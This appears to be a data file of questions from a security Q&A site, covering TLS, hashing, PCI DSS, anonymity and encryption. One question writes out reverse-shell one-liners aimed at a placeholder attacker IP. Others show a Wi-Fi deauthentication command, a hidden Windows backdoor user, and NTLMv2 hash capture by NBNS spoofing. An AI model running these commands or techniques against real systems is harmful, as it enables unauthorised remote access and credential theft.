instruction stringlengths 24 29.9k |
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Does using SNI have any benefit whatsoever (whether security, scalability, or otherwise) if the TLS certificate validation is performed exclusively using the certificate fingerprint and without regard to the common name? (Examples of systems where this might plausibly be the case include DANE and Convergence.) Even w... |
I am trying to understand how the SSL handshake happens for HTTPS.
I did the following:
Captured the packets for a HTTPS connection using Wireshark.
examined the Client Hello for cipher suites supported (not important)
Examined the Server Hello for the cipher suite decided by the server. It is TLS_RSA_WITH_RC4_128_MD5... |
I think about using Tor for nearly everthing, including Facebook, because FB often tags the users even on other sites, for example per Like-Button, Cookies etc.
Now I think about using the Tor Browser to log in to FB, to use FB and then to use a new identity via Tor and to do other things.
My question is, how the Exit... |
Is there any solution for securely running encrypted processes on an untrusted machine over the WAN?
In public clouding, you can split your processes and send process request over the WAN, but you can not detect whether machine who wants to run your processes is secure or not. If there is malware running with sufficien... |
If you don't install perl/python on your system then hackers can't use it (or they would make themselves obvious if they installed it)?
I am just trying to understand why these languages are apparently useful for hackers. Seems bash/dos would be more useful.
|
Someone, have no idea who, really worked my computer, and placed some rootkit, all-knowing, all-smashing malware something and I simply cannot keep Windows OS clean in a multiboot configuration with Ubuntu even after removing MBR, deleted all partitions and partition table, and reinstalled Ubuntu with Grub only, and no... |
I've been researching how to completely prevent against SQL injection, but there are so many different forms of injecting that completely preventing it looks impossible to me. I am using prepared statements and put up the following simple function to prevent against SQL injections. Does this secure against (the most) S... |
The Program VirtualWifi Manager can rotate SSID's.
Does rotating SSID's prevent the google tracking _nomap problem?
|
Use Case
I would like to encrypt data in a database for a Web Application. The following requirements exist:
Decryption should only be possible when a user provides a passphrase
Encryption should always be possible
I therefore use asymmetric encryption using public and private keys. An encrypt operation can be launce... |
During coding, I have used both MD4 and MD5 encryption techniques. But there hasn't been any noticeable security difference between either of them. And yet, most of them prefer MD5, in fact specify it. MD5 :
System.Text.UTF8Encoding UTF8 = new System.Text.UTF8Encoding();
MD5CryptoServiceProvider HashProvider = new MD5C... |
I've got a terminal server set up in a data center that also serves as a console server. This console server only accepts regular telnet requests. To this server are a bunch of routers and switches connected with console cables. For example, to connect to a router I telnet to the server's public IP-address and a port. ... |
I was able to create an invisible user in windows 7 and 8.1.
The user is not visible at the login Screen, I added it to the SYSTEM account group and Remote desktop Users Group, The Administrator can know about this user via Computer management > Users and Groups option and using Net User Command in the shell, This user... |
On a webpage I have been working on, we can archive certain webpages for a user. The user can give an address and this webpage is than visited on the server and archived. Lately, I noticed that JavaScript is turned on.
Obviously, the client can execute any JavaScript on the server. Now my question is - what vulnerabili... |
Okay, I guess it's not possible to call one-letter-passwords "secure" - so let's compare ZZZZZZZZZZ with aaaaaaaaaa.
Both are using the same character pool [A-z], so the number of combinations for a password with ten characters is 56^10 = 144 quadrillion. According to HowSecureIsMyPassword, this could be brute-forced i... |
My certificate provider responded to my CSR with four certificates, the first being "ours", and the remaining three presumably to build a chain of trust.
I've never had to investigate (and prove to my provider) a certificate chain at this level, so I'm open to being told I'm not looking at the proper information.
My ce... |
Let's say that a web application take a specific input from the user (e.g., search form), apply a Java regex with named caputring groups on it and use the final output to do other stuff (e.g., look for the searched resource which name has been modified through the regex).
What if some regex metacharacters, especially ... |
Most of the public keys I am getting from friends have a sub key in addition to the pub key. For educational purposes I retrieved some public keys and came across this Linus Torvalds' key that does not have a sub-key.
pub 1024D/956EB7BF449FA3AB 1999-10-05 [expired: 2001-10-04]
uid [ expired] Linus Torva... |
We host several dedicated servers and VPS instances containing sensitive data with 3rd party hosting providers. We understand we have to trust the providers as they have full control of the hardware, root on the VPS hosts and IPMI access to the dedicated servers. We mitigate the risk by encrypting the disks and install... |
I have implemented stateless session cookie, something along the lines of this article:
Demystifying Web Authentication (Stateless Session Cookies)
The cookie contain an expiry time within the hashed value, and also the cookie is set with a session timeout in the browser. When the user logs out, the cookie is deleted.... |
Let's say I have a reasonable KDF, and that I make users change their passwords periodically and keep some old password hashes to prevent password reuse.
What's to stop the user from changing the passwords (when they're required to) in some predictable sequence?
hammurabi1
hammurabi2
hammurabi3
or
winona2014Q3
winona2... |
Even if I am careful not to lose/forget my password for some web account, other people are not and so most sites have a password reset mechanism, often being a reset token sent to the registered email address. Unless there is a way to opt out of this (which I have never seen), that leaves my account at their site vuln... |
When you have a password stored in a database that has been strongly hashed and salted does it really matter if the underlying user password is weak?
If you setup features like limiting login guessing and use captchas to stop automated guessing can you effectively make up for a weak password such as "password"?
I guess... |
During my encryption app i've got the password creation bit:
PBEKeySpec spec = new PBEKeySpec(password.toCharArray(), salt, 10000, keyLength);
and later on the actual encryption part:
cipher.init(Cipher.ENCRYPT_MODE, secret, ivSpec);
The initialisation vector need random bytes, the salt needs random bytes, can I use ... |
I'm creating a web site, I would like to allow people to sign-up only from their "real" physical location (not using a VPN).
I was thinking maybe comparing local and server time... what else...?
Would it be a check what DNS is used and if it is one of the open DNS IPs... Or if it is possible to know that IP ranges that... |
If I put a '/' on my browser I have full access of my root directory. I have tried the same thing on another computer and it didn't work. So, I'm trying not to be paranoid but this is too strange. I have tried to check open ports using:
lsof -i -P | grep -i "listen"
but each time I kill any of the ftp open ports proce... |
What are the insecure protocols which should be disabled according to PCI DSS standard.
How to check those are disabled in Firewalls and Servers.
|
If it is a secret then why is it visible on the box, invoice and the back of the phone?
If it is not a secret then why does it have to be blurred when it gets posted online?
|
Today I started using a VPN on my phone (nexus 5), and after I switched on mobile data and turned off my WiFi, I received a text message from my carrier offering me roaming packages for Europe (which is where my VPN server is located).
Now how would they even know that? I mean I wasn't physically in Europe and they kno... |
I have previously used TrueCrypt for creating encrypted directories on servers.
I am now trying ecryptfs due to the end of development announcement in May.
I see that when I encrypt a directory and filenames with ecryptfs (with a different passphrase from the user account passphrase), it places a key signature in /roo... |
Apple Pay says they store a Token on the phone and use it for transactions. Who issues this token? Who then converts this token to a real credit-card. Where is the mapping from token to real card stored?
|
I've seen folks deploying the SED on laptops recently. I've discovered that there is a setting in which you can do a warm boot and NOT require the bootup password to be put in again. Which makes sense given you'd of had to of already logged in at one point.
Question being is that it would seem that there could be a m... |
I have read that in order for a one time pad to be truly secure, the pad itself must be random data. Given the practical difficulty of sharing a secure random pad, I was wondering what would be the problems with using the vast multitude of plain text documents that are currently available from the web.
For instance, i... |
I read over and over about how /dev/random gets its entropy from "hardware events." What exactly are these hardware events and how can we be sure that it is random enough?
|
I'm trying to learn more about website security, but it's confusing. I often feel like I need to be an attacker in order to understand how to defend against one, since I don't know what they are capable of doing. Currently I'm wondering about the best strategy for implementing CSRF tokens. I gather it's best to generat... |
I'm a regular guy running two small franchise businesses with a basic understanding of computers etc, (very basic really), but I am certain my home network has been hacked and I am finding lots of new devices installed on my PC without my consent. I have been prevented from making a lot of administrator changes as I se... |
I'm a security-conscious Verizon user, and it has recently come to light that Verizon is now serving up my web traffic to ad partners while en route. I understand that once my data has left the device, it's impractical to try and control it/protect it, but is there anything I can do to protect my information from this ... |
Having the source string:
S3nh4#1
And the generated encrypted string:
csf7259aT07Rw
Using this script, it identified the algorithm used to encrypt as DES(Unix)
I wonder if it is possible (in computational and temporal terms) to find the key used to encrypt the source string.
|
In using 2-step verification, does selecting 'Trusted Computer' a less secure options? https://support.google.com/accounts/answer/2544838?hl=en
If so, is it still a reasonably secure option?
|
I know it is an issue with how DNS is configured , but is it really dangerous if the attacker couldn't access your network?
|
In the RSA context, why is not safe to use the same n (public key)for different people?
|
In PCI 1.3.3 it states:
Are direct connections prohibited for inbound or outbound traffic
between the Internet and the cardholder data environment?
A Cardholder Data Environment (CDE) encompasses any device or server that stores or transfers cardholder data. (PCI Glossary available here)
With our system, a user add... |
In my code, I use JSSE6 API to specify a list of enabled cipher suites. I aimed to only allow 168 bits or higher encryption cipher suites, below is a part of my code:
/** List of 168 bits encryption or higher cipher suites */
private static final String[] ENABLED_CIPHER_SUITES_168 = {
"TLS_RSA_WITH_AES_256_CBC_SHA"... |
Assume you could exploit a vulnerability on an old Android 2.2, the questions are:
1- Is there anyway you could see stored passwords on that operating system, specially Facebook password.
2- Can you send a message on behalf of the Facebook user from that device from the command line ? Or in other word how you can send ... |
I am getting a CloudFlare - attention required / security check prompt on most of the sites I visit through my Macbook running OS X Yosemite, these sites work perfectly on other devices (such as iPad, iPhone, Android and Windows based laptop) connected via the same network/WiFi.
I have tried many anti-viruses and malwa... |
Context:
I want to reverse engineer a protocol in place for the Nintendo 3DS. The implementation however, uses TLS, which makes it difficult to reverse engineer. I'm currently able to sniff packets to/from my 3DS because I have a spare router being used for a "testing wifi" that runs through my desktop's ethernet, and ... |
I've recently noticed that a few companies have begun to offer bot and scraping protection services based on the idea of browser fingerprinting to detect them, and then blocking the specific fingerprint from accessing the site (rather than blocking the IP).
Here are a few examples:
http://www.distilnetworks.com/
http:... |
How do you audit the Firewall rules and configuration policies as per PCI standard.
What are the tools used for it.
|
Is each firewall interface IP is considered as external IP?.
Do we need to scan each interface IP??.
What is an internal scan?
What are the elements for internal, how we do it?.
|
Ubuntu 12.04
OpenSSL 1.0.1-4ubuntu5.20 14 Mar 2012
Dovecot 2.0.19
The situation is I'm trying to disable SSLv3 in Dovecot by adding !SSLv3 to the ssl_cipher_list:
ssl_cipher_list = EDH+CAMELLIA:EDH+aRSA:EECDH+aRSA+AESGCM:EECDH+aRSA+SHA384:EECDH+aRSA+SHA256:EECDH:+CAMELLIA256:+AES256:+CAMELLIA128:+AES128:!SSLv3:!aNULL... |
That's something I've came across in a couple articles about OAuth 2: when it comes to persisting refresh tokens to database some authors prefer to store access token as well, or at least mention it as something you should do. And when it comes to granting access based on refresh_token a ticket is being picked up from ... |
I am (partly) following a tutorial to develop a cordova app, based on angularJS. The author stores the refresh token in local storage, which was said to be very bad practice in one of the comments on that same tutorial. This is confirmed in another stackexchange question. Best practice is then to store the refresh toke... |
I remember reading a couple of years ago (I believe it was during the Egyptian Revolution) that hackers managed to bypass government filters by making their traffic appear as another protocol. If memory serves me right they were masking their "forbidden" content and making it appear as online video game traffic (which ... |
When a https site shows multiple finger prints, i.e.: md5 and sha1, or sha256 and sha1, how does the browser check?
is it both just the "strongest" or whatever is convenient?
This question arose because somewhere it was stated that a site used weak protection because of sha1.
But that site also showed a sha256 fingerp... |
When using Microsoft's Makecert.exe to generate a certificate (and key), there is the option to allegedly "specify the maximum height of the tree below that certificate", using the -h flag (see MSDN).
As an experiment, I created a certificate with "-h 0", assuming this to mean that this certificate in turn could not be... |
Nothing big, just a fear of embarrassment. I use my mom's (she pays for it) internet service to connect online and stuff. The thing is, I am nervous that she may possibly ask the ISP for some traffic analysis of where, like, I've been surfing to and worried that she might find out I often visit, uh, ...... dirty sites.... |
I'm trying to discover what type of encryption was used to generate this strings:
Qo94v0JpPaL59LS6U3xfEB4nVgc=
+3ZaEliGZ7DWte+LaviHvOlcg9A=
v44x/KnS/JyOVDtbmbkFkJEgkWs=
y75nHoG/yXwutlixBX7/jRXsv+o=
Yf0g60vtxLHQttF9YDNM2uYhoHY=
Running Base 64 decoding, the result appears to be meaningless.
|
When I was testing penetration testing on my router using kali linux, I followed all the steps from this link. In the step where you have to enter the router's bssid and client's bssid in aireplay-ng command I'm getting the following command
aireplay-ng -0 2 -a 10:FE:ED:2E:5E:20 -c 08:3E:8E:CC:14:A7 mon7
09:00:33 Wai... |
I just discovered that my university alumni's login page is just plain HTTP. Wireshark confirmed that the credentials are sent using an HTTP POST message. I did a bit of research and, as I thought, HTTPS should always be used on the login page (See Is it secure for a site to serve the login page with HTTP, but have t... |
Current setup
We have a service that allows users to upload documents through a website and stores the uploaded documents encrypted on disk.
The documents on disk are encrypted with a per-user key, which is randomly generated upon account creation. This document key is stored in a database field which is encrypted with... |
Introduction
Since the xkcd note on password strength, there has been a lot of attention for password entropy.
However, this raised the question: what if you used a strong scheme, but happened to get a weak password?
I can think of two main problems:
You choose a password via one strong scheme, but it is also possible... |
Does running /usr/lib/postfix/master as a root could cause a security threat ?
A fresh installation, gives this :
root 11622 0.0 0.0 4792 1432 ? Ss 19:11 0:00 /usr/lib/postfix/master
postfix 11624 0.0 0.0 4812 1324 ? S 19:11 0:00 pickup -l -t unix -u -c
postfix 11625 0.0 0.0 ... |
Now that app based door lock replacements are getting more popular in the market, I'm wondering what the security risks are and why or why not this is more secure than an old fashioned lock with a physical key.
|
There is a technique called password hashing that describes creating unique passwords based on a unique master key and a static and arbitrary hash value.
Using this technique, the user only has to remember the master key to have a unique password for every site/application.
There are many free programs, sites, and brow... |
My boss wants to set up encrypted file shares using EFS on Windows Server 2012 R2 Boxes accessed by Windows 8.1 clients. I've been able to set the default DRA, issue certificates in test cases and so forth. So, EFS works. However, he also wants the user to be prompted for their certificate password (the password genera... |
I have often heard that if you are the target of a directed hacking campaign by say, a team of government hackers (whether Chinese, NSA, etc.), there is no way to prevent being hacked if they highly value the information they wish to retrieve.
If they're willing to throw their, for these purposes essentially unlimited... |
I'd like to know how to make a decent Certificate Signing Request (CSR) to secure my website and e-mail with a wildcard SSL certificate.
With recent exploits as POODLE on SSLv3 and such, I'd like to know how to make a decent Certificate Signing Request to make a valid (and very secure) certificate and order one. I'd lo... |
This is going to get long, so prepare. Basis of the question is, Do all these steps improve security, or am I completely overthinking the problem? Are my assumptions/thought process valid?
We all know there are many types of attacks a hacker can use to infiltrate a system, however, this deals with password hashing, so ... |
For example, if we take this software into account:
Symantec Endpoint Encryption
Sophos Safeguard Encryption
How can we trust suppliers of whole disk encryption software in the lights of the recent NSA events?
Are those providers really "secure" or do we miss something that should be obvious?
These are the only pla... |
Let me start off by saying I don't know very much about encryption, hashing, cracking, etc. I'm just a typical computer enthusiasts, programmer and researcher with many questions.
So, I've discovered that there's a thing called "Distributed Cracking" which is when many systems cluster together to focus-fire a Brute For... |
So I went over quite a lot of topics here and on the internet.. but I still can't seem to completely understand this issue.
How secure really are services like proxies, VPN or VPS?
VPN is promoted everywhere as being safe. Proxies have different levels of anonymity.
But is there a possibility, that a VPN provider wou... |
What I want to do:
Setup a PC with two routers. One router is directly connected to the internet, the other is connected to an offline workspace server. My client will be connected to both via a physical ethernet switchbox. The purpose of the server is to act as a database/webserver for various research. I would like t... |
I usually make free windows applications, now I want to digitally sign them. So users can be sure that its from me. But instead of buying the code signing certificate, I thought I may create my own. But then again, if I can create, then anybody can create with same info as mine. However I don't actually understand how ... |
As a security guy, i run vulnerability scan and found vulnerabilities in firewall
Like as follows
SSL Server Allows Anonymous Authentication Vulnerability
Solution
SOLUTION:
Disable support for anonymous authentication.
1) Apache:
Typically, for Apache/mod_ssl, httpd.conf or ssl.conf should have the following lines:
My... |
I've recently been reading on session cookies and how they can be hijacked via man-in-middle attacks. It seems this is mainly possible on an unencrypted connection between a client and a webserver.
However, I cannot figure out why, if one is already 'in the middle' of an unencrypted connection, would one prefer to capt... |
Correct me if I am wrong, according to HTTP v1.1 a simple CONNECT request initiates a SSL tunnel between the server and a client. its only after the tunnel is created that the complete GET or POST request is sent. What is initially sent is a stripped down version of a GET/POST request to initiate the SSL.
When the SSL ... |
The SSL/TLS handshake is protected against downgrade attempts by the Finished message, a signed and authenticated hash of the master secret and all previous handshake messages.
Consider a client that uses a mix of strong and weak cipher suites that connects to a server that supports the same set of ciphers. Usually, on... |
When mailing or chatting with people, it had crossed my mind, what if, for simple communication, someone would use an older encryption method (i.e., ENIGMA), to encrypt their message?
Would because of the uncommon method and name of the encryption, it be harder for eavesdroppers to understand what method is used? thus ... |
I type iw list and these are the supported modes:
Supported interface modes:
* IBSS
* managed
When I run hostapd hostapd.conf I get this:
Failed to create interface mon.wlan0: -95 (Operation not supported)
Could not set channel for kernel driver
wlan0: Unable to setup interface.
Could... |
A recent report on page 18 states that:
[black hats] have even leveraged [systems administration tools] as a means of maintaining additional persistence via setting “sticky keys” for RDP sessions.
How is sticky keys abused in this manner, and how do I detect or prevent its exploitation? Is setting a group policy to d... |
I have a desktop computer at work running Windows 8.1 Pro. For logging in I use a domain account and I have logged in with my Microsoft account to get access to my Onedrive and syncing of email accounts and such things. I'm the only one using the computer.
Everything works the way I want, but I'm wondering a bit about ... |
I am looking at the secure disposal of old flash drives, and one of the standards I have come across says that they should be overwritten three times. Why is one time not enough? I assume doing the process three times is more expensive than doing it once.
|
I am trying to increase my understanding of data encryption, and I was wondering this. It would be really nice if there were any good tools to test how secure my encrypted data is, for example how long it would take for an average rotten apple spoiling the barrel to decrypt it.
|
I recently installed Bitlocker on my Windows 8.1 machine, using only a password. I was thinking of getting something other than just a password for my storage drive, something physical, like a USB, SD Card, or Smart Card!
I've asked and poked around, and people claim the following:
When given the choice of a Smart Car... |
I am on a penetration test at the moment, where LM/NTMLv1 hashes are disabled. I have captured a number of NTLMv2 hashes via NBNS spoofing, however was unable to crack them after running them through rainbow tables.
I was able to crack some credentials due to the password being the same as the username, however I have ... |
We have our web servers running in AWS EC2. We have about 30 API Keys/passwords/etc (sensitive data) which is set in the environment for our app to use. Whenever we deploy, we start a new server instance, pull down our repo and build our application. I need a way to get the keys down to the server to put into the envir... |
First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about.
Suppose there is Mr. GoodGuy, an honest software developer. He develops the main software architecture, and the company trusts him and gives all the access he ... |
I'm studing a case that I have a RESTful backend (php-based) and a hybrid HTML+JS+PHP front-end in different subdomains:
backend.example.com <-- A RESTful API to provide some XHR requests.
*.example.com <-- Any other domains on the same server that use the same PHP Session.
A way to initiate a persistent session i... |
İ have an outdoor in my shop and distributing my network to customers using mac filtering opition..
one of my neighboor got a weak signal....so, he bought a wirelss repeater to recieve a better signal
to use it on his mobile.
so should i put his repater mac or İ must establish a bridge point to point connection?
As... |
According to http://en.wikipedia.org/wiki/Secure_Socket_Tunneling_Protocol there are two phases, SSL phase and PPP phase.
SSL phase establishes a session
and PPP also creates a link (which I understand to be a session)
I am unable to find the difference between the two phases. It seems these phases are one and the sa... |
Been working with TLS DHECE certificate based handshake with a FreeRADIUS server and WPA_supplicant - both running OpenSSL 1.0.1j FIPS.
Afer watching the Wireshark traffic, I notice that the client sends a Client Hello using TLS 1.0. I beleive that the ECC certificates have an issue with OpenSSL / TLS 1.0.
I have teste... |
What are the security risks associated with PDF files?
There is, of course, the general risk associated with any type of file: that whatever application is used to read it will have a bug that can be exploited by certain byte sequences within the file, thus crashing the system, or worse, executing arbitrary code.
That'... |
Is there such thing as a firewall with packet inspection? Most outbound firewalls simply prompt the user with "program.exe is trying to connect to the internet - allow or deny?". I find it impossible to make an informed decision without seeing the actual content being transmitted.
Ideally what I'd like is an outbound f... |
It is common practice to prevent the BEAST attack using the following ciphers in Apache SSL configuration:
SSLCipherSuite RC4-SHA:HIGH:!ADH
Unfortunately, RC4 has been found to be flawed and it is now recommended to avoid its use.
From a Nessus report:
SSL RC4 Cipher Suites Supported
The remote host supports the use ... |
Everyone says not to click on "malicious URLs". Are there any attacks where the URL itself, rather than the resource accessed by the URL, is the attack vector?
|
Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ).
telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b>
Though example below of reverse shell backdoor doesn't need two listener, it's just one required.
/bin/bash -i > dev/tcp<attacker_ip... |
recently, we are seeing some From:, To:, Cc: addresses being
rewritten from user1@companyA.com to:
https://3c-lxa.mail.com/mail/client/mail/mailto;jsessionid=36725F1B090973DAF815646A3B096862-n1.lxa15a?to=user1%40companyA.com
i've checked RFC 822, and 2822 and the above does not
seem to be valid address specification fo... |
Let's say, there is an .NET application on a windows 7 host where I have administrator's access rights.
The application works with remote MS-SQL server which I don't control, it also seems that the application in question uses integrated security to protect its traffic during transmission.
I don't have knowledge on i... |
I read this article, and the whitepaper by security researcher Oren Hafif which mentions the following salient points:
RFD, like many other Web attacks, begins by sending a malicious link
to a victim. But unlike other attacks, RFD ends outside of the browser
context:
The user follows a malicious link to a truste... |
Is the ASP.NET .ASPXAUTH cookie value always the same for a given user?
|
I'm working on an analysis of the full OpenPGP keyring (ca. 3.8 million keys). I imported all keys to a local instance of hockeypuck (keyserver implemented in go). Hockeypuck uses a PostgreSQL database and I'm working with hockeypuck's database.
At the moment I'm not sure how to figure out whether a key is revoked. Acc... |
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